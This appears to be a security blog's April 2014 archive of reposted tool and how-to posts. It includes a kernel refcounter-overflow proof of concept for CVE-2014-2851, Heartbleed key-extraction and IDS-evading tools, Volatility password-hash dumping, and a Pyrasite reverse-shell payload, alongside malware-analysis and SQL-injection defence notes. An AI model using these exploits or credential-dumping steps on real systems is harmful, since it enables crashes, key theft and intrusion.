Apr 19, 2014

Tools: Linux group_info refcounter overflow memory corruption (CVE-2014-2851)

This post on LKML got me curious and I decided to trigger the overflow to see what it got me.

  1. #include <arpa/inet.h>
  2. #include <stdio.h>
  3. #include <sys/socket.h>
  4. int main(int argc, char *argv[]) {
  5.     int i ;
  6.     struct sockaddr_in saddr;
  7.     unsigned count = (1UL<<32) - 8 ;
  8.     if(argc >= 2){
  9.         // Specify count
  10.         count = atoi(argv[1]);
  11.     }
  12.     printf("count 0x%lx\n",count);
  13.     for(= 0 ; i < count;i++ ){
  14.         socket(AF_INET, SOCK_DGRAM, IPPROTO_ICMP);
  15.         if ( i % ( 1 << 22 ) == 0 )
  16.             printf("%i \n",i);
  17.     }
  18.     //Now make it wrap and crash:
  19.     system("/bin/echo bye bye");
  20. }

If the code doens't work, try different values for count ( argv[1] ), for example -20 . When the exploit finishes, run some nested shells to increment the group_info usage counter : every subprocess will increment the usage counter .

It takes a while because 2^32 syscalls have to be executed, but eventually the refcounter overflows.
When the refcounter is close to be overflown, the code executes another process. When this process finishes, atomic_dec_and_test returns true and the creds are freed while still in use. This results in memory corruption and a crash.

The actual overflows happens in cred.h :

The disassembly of  ping_init_sock shows the overflow:
Dump of assembler code for function ping_init_sock:
   0xffffffff8164b960 <+0>:     push   %rbp
   0xffffffff8164b961 <+1>:     mov    %rsp,%rbp
   0xffffffff8164b964 <+4>:     push   %r12
   0xffffffff8164b966 <+6>:     push   %rbx
   0xffffffff8164b967 <+7>:     data32 data32 data32 xchg %ax,%ax
   0xffffffff8164b96c <+12>:    mov    %gs:0xb880,%rax
   0xffffffff8164b975 <+21>:    mov    0x480(%rax),%rax
   0xffffffff8164b97c <+28>:    mov    0x30(%rdi),%rdx
   0xffffffff8164b980 <+32>:    mov    0x18(%rax),%edi
   0xffffffff8164b983 <+35>:    mov    0x88(%rax),%rax
=> 0xffffffff8164b98a <+42>:    incl   %ds:(%rax)
   0xffffffff8164b98d <+45>:    mov    0x4(%rax),%r10d
   0xffffffff8164b991 <+49>:    lea    0x390(%rdx),%r9

Source: http://thomaspollet.blogspot.be/2014/04/linux-groupinfo-refcounter-overflow.html

If you like my blog, Please Donate Me
Or Click The Banner For Support Me.

Apr 18, 2014

Howto: Update or fetching new plugin of Nessus 5 in Kali

1. Go to /opt/nessus/sbin
$ cd /opt/nessus/sbin

2. Run the ./nessus-update-plugins
$ ./nessus-update-plugins

If you like my blog, Please Donate Me
Or Click The Banner For Support Me.

Apr 17, 2014

Summary From Malware Analysis (N00b to Ninja in 60 Minutes)

4 Stages of Malware Analysis
- Manual Code Reversing
- Interactive behavior analysis
- Static Properties Analysis
- Fully-automated analysis

- Triage
  - Definition = Quickie Analysis To Understand as Much as Possible about the malware
  - Goals = Gain Gist of What malware is & what could do
  -- Determine Basic Running Properties with "Automate Analysis"
  -- See if Others Found with "Hash search"
  -- Analysis File Props(Type,imports) with PE Examination
  -- Find Textual Clues of Activity (if packed) with Strings
- Dynamic Analysis
  - Definition = Execute Malware & Watch what it does
  - Goals = Acquire Understanding of How Malware acts
  -- Senses Host Changes with monitoring "registry, log, file"
  -- Uncover Runtime Properties with monitoring "Process, Memory Analysis"
  -- Reveal Network Activity with monitoring "TCP/UDP(DNS/HTTP/HTTPS)"

- Static Analysis
  - Definition = Dissamble Malware Down to Computer Instructions
  - Goals = Reverse Engineer to Understand Exactly What it does

 - Platform =Virtual, Physical
 - Options = Automated, Single box, Dual box

Automate Analysis
 - malwr.com
 - Norman Sandbox
 - GFI Sandbox(http://www.threattracksecurity.com/resources/sandbox-malware-analysis.aspx)
 - Anubis(https://anubis.iseclab.org/)
 - Threatexpert.com(http://threatexpert.com/)
 -  etc. (http://zeltser.com/reverse-malware/automated-malware-analysis.html)

 - Fireeye
 - Open Source - Cuckoo Sandbox, Zerowine

Install triage analysis tools
 - Strings (From sysinternal tools), Bintext from McAfee
 - PeStudio
 - FileInsight
   -- Hex editor & Analysis Tool by McAfee

Install Dynamic Analysis Tool(http://www.r00tsec.com/2014/04/howto-malware-analysis-with.html)
 - Process Monitor -> Expose file system, Registry & Process Activity that started during malware execution
 - Process Explorer -> Advance task manager, Reveal info about DLL process loaded
 - Wireshark -> Sniffing to capture malware-initiated network traffic
 - Regshot -> View changes malware make in registry/file system
 - TCPView -> Allow detection of malware-initiated network traffic
 - FakeNet -> Aids of  Dynamic Analysis, Simulate Network so malware thinks its interact with remote hosts. Work with DNS, HTTP, SSL, Dummy Listener

Install static Analysis Tools
 - OllyDbg with OllyDump plugin

REMnux incorporates a number of tools for analyzing malicious executables that run on Microsoft Windows, as well as browser-based malware, such as Flash programs and obfuscated JavaScript. This popular toolkit includes programs for analyzing malicious documents, such PDF files, and utilities for reverse-engineering malware through memory forensics.  

Malware Source
 - http://practicalmalwareanalysis.com/labs/
 - http://contagiodump.blogspot.com/
 - http://virusshare.com/(Request invite)
 - https://malwr.com/(if select share)

1. Triage Checklist
1.1. Run through external/internal sandbox services for QnD results
1.2. MD5 Hash comparison
1.3. Determine real file type
1.4. Analyze imports
1.5. Extract Readable Strings
1.6. Unpacked if needed
1.7. Specialized tool

2. Dynamic Analysis Checklist

2.1 Establish Baseline of environment
2.2 Start Monitoring Apps & Execute Malware(If use vmware, network must be Host-Only)

2.3 Monitor Activities & Stop Monitoring

2.4 Analyze difference & Activity Recorded  

Link of video: http://www.irongeek.com/i.php?page=videos/notacon11/smalware-analysis-101-n00b-to-ninja-in-60-minutes-grecs
If you like my blog, Please Donate Me
Or Click The Banner For Support Me.

Howto: Volatility for password dumping

1. Get some information
$ volatility imageinfo -f memorydumpfilename.raw

2.  List the hive in system 
$ volatility hivelist -f memdumpfilename.raw –profile=Win7SP1x86

3. We look in the dump above and copy down the numbers in the first column that correspond to the SAM and SYSTEM locations. Then output the password hashes into a text file called hashs.txt
$ volatility hashdump -f memdumpfilename.raw –profile=Win7SP1x86 -y 0x87c1a248 -s 0x8bfaa008 > hashs.txt 

4. Crack it with online tool (https://www.objectif-securite.ch/en/products.php)

Source: http://cyberarms.wordpress.com/2011/11/04/memory-forensics-how-to-pull-passwords-from-a-memory-dump/


If you like my blog, Please Donate Me
Or Click The Banner For Support Me.

Howto: Build Heartbleed lab in 5 minutes - By HackerForHire

Victim Machine Configuration:
  1. Ensure Perl is installed.
  2. Grab a copy of glitchwrks Heartbleed Honeypot from:
    a. Packet Storm: http://packetstormsecurity.com/files/126068/hb_honeypot.pl.txt (Official)
    b. Pastebin: http://pastebin.com/5zUbJXe7 (Mirror)
  3. Modify the code if you want to change your port or protocol settings
my $sock = new IO::Socket::INET (
    LocalPort => '443', # <== Set your port you want to listen on here (1 to 65535)
    Proto => 'tcp', #<== Set your protocol you want to use here (tcp/udp)
    Listen => 1, # <== Leave this alone
    Reuse => 1, # <== Leave this alone too
4. Ensure that you have sufficient privileges (root / sudo / administrator required for low port numbers) to execute the file and run it with the following command:
perl hb_honeypot.pl
Source: http://hackerforhire.com.au/build-a-heartbleed-test-lab-in-5-minutes/ 

If you like my blog, Please Donate Me
Or Click The Banner For Support Me.

ตัวอย่างการใช้งาน Prepared Statement

 การใช้งาน Prepared Statement ใช้เพื่อ 2 เหตุผลคือ
- Performance: เมื่อใช้ prepared statement สามารถช่วยลดโหลดและสามารถนำการ query นั้นกลับมาใช้ได้อีกเรื่อยๆ
- Security เมื่อใช้ prepared statement เราไม่จำเป็นต้องใช้ escape กับ input ของ user เพราะ binding parameter จะช่วยทำให้เอง ทำให้สามารถป้องกันการโจมตีแบบ SQLi ได้

 Connect ไปยัง db

$conn = new mysqli('db_server', 'db_user', 'db_passwd', 'db_name');
if($conn->connect_error) {
  $this->last_error = 'Cannot connect to database. ' . $conn->connect_error;

การใช้งานแบบไม่ได้ใช้ prepared statements

$sql = 'SELECT id, lastname FROM customers WHERE ' .
  'category=' . $category_id . ' AND ' .
  'lastname LIKE ' . "'%" . $conn->real_escape_string($lastname) . "%'";
$res = $conn->query($sql);
if($res === false) {
  $this->last_error = 'Wrong SQL: ' . $sql . ' Error: ' . $conn->ErrorMsg();
} else {
  while($row = $res->fetch_assoc()) {
    array_push($a_data, $row);

การใช้งานแบบใช้ prepared statements

$sql = 'SELECT id, lastname FROM customers WHERE ' .
  'category = ? AND ' .
  'lastname LIKE ?';
/* Prepare statement */
$stmt = $conn->prepare($sql);
if($stmt === false) {
  trigger_error('Wrong SQL: ' . $sql . ' Error: ' . $conn->errno . ' ' . $conn->error, E_USER_ERROR);
$category_id = 1;
$lastname = '%Smith%';
/* Bind parameters. Types: s = string, i = integer, d = double,  b = blob */
$stmt->bind_param('is', $category_id, $lastname);
/* Execute statement */
/* Fetch result to array */
$res = $stmt->get_result();
while($row = $res->fetch_array(MYSQLI_ASSOC)) {
  array_push($a_data, $row);
ปัญหาคือ $stmt->bind_param()ไม่สามารถใช้งานแบบ array ได้ เราจึงเปลี่ยนไปใช้ function
call_user_func_array แทน 
โดย จะมีตัวแปรที่ต้องเพิ่มมาคือ
  • $a_bind_params เป็น array เก็บค่า parameters ที่จะ binding
  • $a_param_type เป็น array เก็บค่า type ของ parameter แต่ละตัว(Types: s = string, i = integer, d = double, b = blob).
/* Bind parameters. Types: s = string, i = integer, d = double,  b = blob */
$a_params = array();
$param_type = '';
$n = count($a_param_type);
for($i = 0; $i < $n; $i++) {
  $param_type .= $a_param_type[$i];
/* with call_user_func_array, array params must be passed by reference */
$a_params[] = & $param_type;
for($i = 0; $i < $n; $i++) {
  /* with call_user_func_array, array params must be passed by reference */
  $a_params[] = & $a_bind_params[$i];
/* Prepare statement */
$stmt = $conn->prepare($sql);
if($stmt === false) {
  trigger_error('Wrong SQL: ' . $sql . ' Error: ' . $conn->errno . ' ' . $conn->error, E_USER_ERROR);
/* use call_user_func_array, as $stmt->bind_param('s', $param); does not accept params array */
call_user_func_array(array($stmt, 'bind_param'), $a_params);
/* Execute statement */
/* Fetch result to array */
$res = $stmt->get_result();
while($row = $res->fetch_array(MYSQLI_ASSOC)) {
  array_push($a_data, $row);

If you like my blog, Please Donate Me
Or Click The Banner For Support Me.

Apr 16, 2014

Tools: Pacemaker - Heartbleed (CVE-2014-0160) client exploit

How does it work?

TLS heartbeats can be sent by either side of a TLS connection. After the handshake completes, these heartbeats are encrypted. But apparently OpenSSL allows heartbeat messages before the handshake is completed. These heartbeats (on top of the record layer) are not encrypted at all!
This makes it very easy to exploit the bug on clients:
  1. Wait for a ClientHello containing a TLS version and cipher suite.
  2. Send a ServerHello containing the same TLS version and cipher suite (to prevent handshake failure).
  3. At this point, the server can send as many heartbeat requests as it likes.
Note that there is no need for any certificates as the heartbeats are accepted before any certificate or encryption keys are exchanged. As the length of the heartbeat requests are unchecked, up to 64 kiB memory can be read from client memory.
pacemaker performs the above steps and assumes a client not to be vulnerable if step 3 results in data other than Alerts. If needed for some protocols (SMTP with STARTTLS for example), additional data is exchanged before the TLS handshake starts.

Run the server:
python pacemaker.py
In your client, open https://localhost:4433/ (replace the hostname if needed). For example:
curl https://localhost:4433/
The client will always fail to connect:
curl: (35) Unknown SSL protocol error in connection to localhost:4433
If you are not vulnerable, the server outputs something like:
Connection from:
Possibly not vulnerable
If you are vulnerable, you will see something like:
Connection from:
Client returned 65535 (0xffff) bytes
0000: 18 03 03 40 00 02 ff ff 2d 03 03 52 34 c6 6d 86  ...@....-..R4.m.
0010: 8d e8 40 97 da ee 7e 21 c4 1d 2e 9f e9 60 5f 05  ..@...~!.....`_.
0020: b0 ce af 7e b7 95 8c 33 42 3f d5 00 c0 30 00 00  ...~...3B?...0..
0030: 05 00 0f 00 01 01 00 00 00 00 00 00 00 00 00 00  ................
0040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
4000: 00 00 00 00 00 18 03 03 40 00 00 00 00 00 00 00  ........@.......
8000: 00 00 00 00 00 00 00 00 00 00 18 03 03 40 00 00  .............@..
e440: 1d 2e 9f e9 60 5f 05 b0 ce af 7e b7 95 8c 33 42  ....`_....~...3B
e450: 3f d5 00 c0 30 00 00 05 00 0f 00 01 01 00 00 00  ?...0...........
fff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00     ...............
Subsequent lines full of NUL bytes are folded into one with an * thereafter (like the xxd tool).
An example where more "interesting" memory gets leaked using wget -O /dev/null https://google.com https://localhost:4433:

Source: https://github.com/Lekensteyn/pacemaker

If you like my blog, Please Donate Me
Or Click The Banner For Support Me.

Howto: Malware Analysis with Sysinternals tool

Malware Cleaning Steps
1. Disconnect Network.

2. Identify malicious process and drivers
 - Using "Process Explorer"
   -- Verify signature with double click and click verify for checking image vertification(Can show verify column with right click at each column name -> select column -> verify signer)
   -- Checking strings tab and look it with memory view
   -- Ctrl + D for list dlls that loaded by Process.
   -- When you open the program, you can find some idiot malware that don't have "description", "Company Name", "Unverify signer". 
   -- Hilight Color Of Process Explorer
      --- Blue processes are running in the same secuirty context as Process Explorer
      --- Pink processes host windows services
      --- Purple processes is "packed" => Compressed or encrypted
      --- Green processes for new processes. (Can change duration of process with Options
 -  Using "Sigcheck" for scan system for suspicious executable images(must connect to internet)
   -- sigcheck -e -u -s C:\
   -- sigcheck -e -u * 
 - Using "ListDlls" for scan running process for unsigned DLLs
   -- listdlls -u

3. Terminates identified processes
 - Suspend the process. After that, kill it.

4. Identify and delete malware autostarts
 - msconfig -> Startup tab. (Old trick)
 - Using "Autoruns" program for list autorun program and disable the malicious program startup.
 - Tracing Malware with "Process Monitor"
  -- Normally, the system doesn't always write the reg. If the system was infected, your system will have multiple write activity. You can filter write category with "Filter -> Categories -> Write"
  -- Process Tree function that is the same of Process Explorer ( "Tools" -> "Process Tree") but can find the malicious process with suspicious lifetime.
  -- Enable Boot Logging for install driver and capture the shutdown and capture the startup.
*** RunOnce Key was used for run every time when user log in. 

5. Delete malware files
 - Boot in safe mode and delete the files.

6. Reboot and repeat

If you like my blog, Please Donate Me
Or Click The Banner For Support Me.

Tools: Pyrasite - Inject arbitrary code into a running Python process

usage: pyrasite [-h] [--gdb-prefix GDB_PREFIX] [--verbose] pid [filename]

pyrasite - inject code into a running python process

positional arguments:
  pid                   The ID of the process to inject code into
  filename              The second argument must be a filename

optional arguments:
  -h, --help            show this help message and exit
  --gdb-prefix GDB_PREFIX
                        GDB prefix (if specified during installation)
  --verbose             Verbose mode

For updates, visit https://github.com/lmacken/pyrasite

Reverse Python Shell

Deprecated since version 2.0: Use the pyrasite-shell instead
This lets you easily introspect or alter any objects in your running process.
import sys
import pyrasite

class ReversePythonShell(pyrasite.ReversePythonConnection):
    port = 9001
    reliable = False

    def on_connect(self):
        self.send("Python %s\nType 'quit' to exit\n>>> " % sys.version)

$ python
>>> x = 'foo'
$ pyrasite <PID> pyrasite/payloads/reverse_python_shell.py
$ nc -l 9001
Python 2.7.1 (r271:86832, Apr 12 2011, 16:15:16)
[GCC 4.6.0 20110331 (Red Hat 4.6.0-2)]
>>> print x
>>> globals()['x'] = 'bar'

 Source: http://pyrasite.readthedocs.org/en/latest/CLI.html

If you like my blog, Please Donate Me
Or Click The Banner For Support Me.

News: iPhone iOS Bug For Flash SMS(Class 0 SMS) (Works on iOS 7.0.4 and fix in 7.1)

iPhone iOS Bug caused by class 0 (Flash) SMS, Class 0 SMS, or Flash SMS, is a type of message defined in the GSM specification that gets displayed directly on the phone's screen and doesn't automatically get stored on the device. After reading such a message, users have the option to save it or dismiss it.

The bug has been tested by the expert on various devices running iOS versions prior to 7.1.

The expert has told Softpedia that he believes that the issue is most likely related to how layers created by Flash SMS messages are handled.

When such a message is received, it covers the entire screen. Let’s assume that this message is not dismissed and the device enters sleep mode. If another Flash SMS is received after the phone has entered sleep mode, the lock screen becomes unresponsive when the user tries to unlock it.

The only way to unlock the screen is by rebooting it, or by calling the phone from another device. After the call has ended, the lock screen becomes responsive again.

While this might not seem like a big deal, the bug could be leveraged by cybercriminals in a clever way.

“The attack scenario is indeed a little bit complicated, due to the 2 steps attack: first send a message while phone is awake, then send another one while it is in sleep mode,” Alecu told Softpedia.

“However, one way to attack would be in order to get some financial benefits, just like with ransomware, by asking for money in the body of the class 0 message,” he added.

“Since this type of message does not display the sender number, it makes it even easier to hide your identity, so the attacker could for example send a flash message text saying ‘Call 0900 (premium rate) number if you want your device to be unlocked!’” 


Source: http://vimeo.com/83494201

If you like my blog, Please Donate Me
Or Click The Banner For Support Me.

Tools: WebPwn3r - Web Applications Security Scanner For Remote Code/Command Execution & XSS

WebPwn3r is a Web Applications Security Scanner coded in Python to help Security Researchers to scan Multiple links in the same time against Remote Code/Command Execution & XSS Vulnerabilities.
You can extract the URL’s from Burp Suite and save it in list.txt then pass it to WebPwn3r.
You can also use your own crowler to gather URL’s for a certain domain or a random domains, and save it in list.txt then pass it to WebPwn3r.
In it’s Public Demo version, WebPwn3r got below Features:
1- Scan a URL or List of URL’s
2- Detect and Exploit Remote Code  Injection Vulnerabilities.
3- ~ ~ ~ Remote Command  Execution Vulnerabilities.
4- ~ ~ ~ Typical XSS Vulnerabilities.
5- Detect WebKnight WAF.
6- Improved Payloads to bypass Security Filters/WAF’s.
7- Finger-Print the backend Technologies.

Source: http://www.sec-down.com/wordpress/?p=373

If you like my blog, Please Donate Me
Or Click The Banner For Support Me.

Apr 15, 2014

Tools: Ballast - Balancing Load Across Systems (Ballast)

Ballast is a tool for balancing user load across SSH servers based on configurable criteria such as CPU load and system availability. Ballast is invoked as part of the SSH login process, hence has access to the user name, which is not available in traditional load balancers. This gives ballast the unique ability to perform user-specific load balancing, which has several benefits including separating users who have historically generated high loads and providing a common login interface to users who may be separated based on other criteria such as system accessibility. Ballast includes a simple client, a lightweight data server, and a data collection agent.

Source: http://code.nasa.gov/project/balancing-load-across-systems-ballast/

If you like my blog, Please Donate Me
Or Click The Banner For Support Me.

Tools: Heartleech - Hearbleed attack tool


A typical "heartbleed" tool. What makes this different is:

  • autopwn most (-a) that does all the steps neeeded to get private key
  • post-handshake (encrypted) heartbeats instead of during handshake
  • evades Snort IDS rules
  • loops making repeated requests (-l <loopcount>)
  • dumps binary data to file (-f <filename>)
  • IPv4 or IPv6 (-v <IPver>)
  • full 64k heartbleeds
Once the program gets a key and exits, you can prove to the world that you got the private key by using it to encrypt a message the public can verify:

echo "@ErrataRob got your key" | openssl rsautl -sign -inkey cloudflare.privkey | openssl enc -base64 -out msg.signed
To verify this message, you first need to get the public key. One way of doing this is with the following command:

echo "hello" | openssl s_client -showcerts -connect www.cloudflarechallenge.com:443 | openssl x509 >cloudflare.cert

Then, you use this certificate to decrypt (and verify) the message:

openssl enc -d -base64 -in msg.signed | openssl rsautl -verify -certin -inkey cloudflare.cert

If you do this, you get back the message:

"@ErrataRob got your key"

This verifies that I indeed have the key.

Source: https://github.com/robertdavidgraham/heartleech

If you like my blog, Please Donate Me
Or Click The Banner For Support Me.